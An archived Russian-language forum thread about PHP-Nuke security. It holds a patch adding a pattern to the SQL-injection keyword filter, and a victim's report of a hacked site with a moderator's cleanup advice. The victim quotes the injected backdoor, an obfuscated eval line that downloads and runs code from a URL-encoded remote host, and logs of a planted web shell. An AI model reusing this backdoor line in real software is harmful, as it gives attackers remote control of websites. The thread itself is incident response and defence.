PDA

View Full Version : Дыра в фильтре Sql-инъекций


Soniks
18.04.2007, 14:24
Продукт: PHP-Nuke
Версия: 8.0
Описание:
Уязвимость позволяет в некоторых случаях обойти фильтрацию входных данных на наличие SQL-инъекций

Устранение:
Открываем mainfile.php
Находим (133 строка):
if (stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'/*') OR stripos_clone($queryString,'*/union/*') OR stripos_clone($queryString,'c2nyaxb0') OR stripos_clone($queryString,'+union+') OR (stripos_clone($queryString,'cmd=') AND !stripos_clone($queryString,'&cmd')) OR (stripos_clone($queryString,'exec') AND !stripos_clone($queryString,'execu')) OR stripos_clone($queryString,'concat')) {
Изменяем на:
if (stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'*%2f*') OR stripos_clone($queryString,'/*') OR stripos_clone($queryString,'*/union/*') OR stripos_clone($queryString,'c2nyaxb0') OR stripos_clone($queryString,'+union+') OR (stripos_clone($queryString,'cmd=') AND !stripos_clone($queryString,'&cmd')) OR (stripos_clone($queryString,'exec') AND !stripos_clone($queryString,'execu')) OR stripos_clone($queryString,'concat')) {

airman2000
08.01.2011, 13:47
Новую тему создать не могу, поэтому пиши в этой.
С наступившим Новым годом и рождеством всех! :)

Наблюдаю появление вредоносного кода в таблице blocks.
см. вложение: http://forum.mynuke.ru/attachment.php?attachmentid=345&stc=1
Подозреваю, что это SQL-инъекция.
Каким образом от этого защититься?

Soniks
08.01.2011, 17:15
какая у вас версия системы установлена?
если это не давно произошло, то есть возможность отследить по логам посещения - с каким запросам такое произошло.

airman2000
08.01.2011, 19:38
Недавно.
Версия старая. 7.0 еще + MyNukeSecurity

airman2000
08.01.2011, 23:47
лог скачал.
теперь вопрос: по какому слову искать в логе? что вводить при поиске, чтобы найти то место, через что взломали?

Soniks
09.01.2011, 15:04
если известно промежуток времени когдта появилась запись в таблице, то тогда следует в это время искать, смотреть стоит наверное на запросы Post сначала к вашему сайту, какие то не стандартные. что конкретно искать сложно сказать. это может быть даже запрос в котором передается ссылка (обычно на иностранный сайт), по которому мог и загрузиться эксплоид.

airman2000
09.01.2011, 22:54
Запросы POST посмотрел примерно в том месте, пока ничего не нашел...
И все-таки не пойму, по какому слову делать поисковый запрос, если логи выглядят так:

89.185.92.*** - - [07/Jan/2011:13:57:42 +0500] "POST /modules.php?name=Your_Account HTTP/1.0" 200 44026
"modules.php?name=Your_Account&op=new_user" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19"

Soniks
09.01.2011, 23:52
airman2000 предсказать какой именно запрос нужно искать сказать сложно, данный запрос считается нормальным.

airman2000
12.01.2011, 09:53
И снова хакают сайт
Каким-то образом вставляют код в поле content в таблице мойпрефикс_blocks
Как это запретить?

Более того, обнаружил после у себя в папке модуля NukeC закаченный File manager
А MyNukeSecurity руганулась вот так:

IP: 78.46.102.***
USER: *****
URL: /modules.php?name=nukeC
POST variables:
a = Sql
p1 = select
p2 = magaz
c = /var/www/admin/мой_сайт
charset =
type = mysql
sql_host = localhost
sql_login = мой_логин
sql_pass = мой_пароль
sql_base = мой_база
file = dump.sql
Module: nukeC
Refer: http://www.мойсайт/modules.php?name=nukeC&2

А в файле config.php в модуле NukeC был вставлен такой код:
if(isset($_GET[2])){eval(file_get_contents(urldecode('%68%74%74%70%3A%2F%2F%63%6D%65%78%2E%74%75%6C%61%2D%6E%65%74%2E%72%75%2F%6E%65%77%73%2F%64%61%74%61%2F%31%2E%74%78%74')));die();}

Помогите, что сделать?

airman2000
12.01.2011, 13:26
И снова это повторилось.
Выяснил, что происходит.
Обычный блок файла php подменяется на HTML-блок, с вредоносным кодом внутри. При чем название блока не трогается.
Полагаю, это делается через базу в таблице blocks?

Soniks
13.01.2011, 15:06
airman2000 Начните с того что, поменяйте пароли FTP и MySQL, проверьте все файлы на наличие вредоносного кода (обычно вставляется в конце файла или полностью поменяется его содержимое и чаще всего это index.php файлы). Легче всего смотреть на дату модификации или создании фала. Посмотрите так же в папки (-ах) куда загружаются файлы от пользователей (если такие есть) - нет ли там исполняемых файлов *.php, *.pl, *.cgi и т.д.

Так же можете прислать лог посещения на webmaster@mynuke.ru за день когда была активность хакерской атаки, посмотрим может что то интересное обнаружим.